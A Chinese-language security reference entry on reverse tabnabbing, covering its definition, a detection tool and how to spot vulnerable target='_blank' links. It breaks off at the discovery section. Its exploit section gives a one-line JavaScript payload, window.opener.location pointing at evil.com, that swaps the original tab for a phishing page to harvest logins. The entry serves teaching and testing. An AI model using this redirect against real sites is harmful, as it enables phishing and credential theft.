切换卡劫持 (Tabnabbing)
反向切换卡劫持 (Reverse Tabnabbing) 是一种攻击手段。目标页面链接到的某个页面能够改写目标页面,例如将其替换为钓鱼网站。由于用户最初访问的是正确的页面,他们往往不太会注意到该页面已被替换为钓鱼网站,尤其是当钓鱼网站看起来与原网站一模一样时。如果用户在此新页面上进行身份验证,他们的凭据(或其他敏感数据)就会被发送到钓鱼网站,而不是合法的原网站。
摘要 (Summary)
相关工具 (Tools)
- PortSwigger/discovering-reversetabnabbing - 用于发现反向切换卡劫持漏洞的扩展。
方法论 (Methodology)
在进行 Tabnabbing 攻击时,攻击者会搜索网站中插入的、处于其控制之下的链接。例如,这类链接可能包含在论坛帖子中。一旦发现此类功能,攻击者会检查链接的 rel 属性是否不包含 noopener 值,且其 target 属性包含 _blank 值。如果是这种情况,该网站就可能容易受到 Tabnabbing 攻击。
漏洞利用 (Exploit)
- 攻击者在其控制的网站上发布一个链接,该网站包含以下 JS 代码:
window.opener.location = "http://evil.com" - 攻击者诱使受害者访问该链接,链接会在浏览器的新标签页中打开。
- 同时,JS 代码执行,后台标签页(原网站)被重定向到 evil.com(这极可能是一个钓鱼网站)。
- 如果受害者再次返回后台标签页且未留意地址栏,他们可能会认为自己已登出(例如因为出现了一个登录页面)。
- 受害者尝试重新登录,攻击者随后获取其凭据。
漏洞发现 (Discover)
搜索以下格式的链接: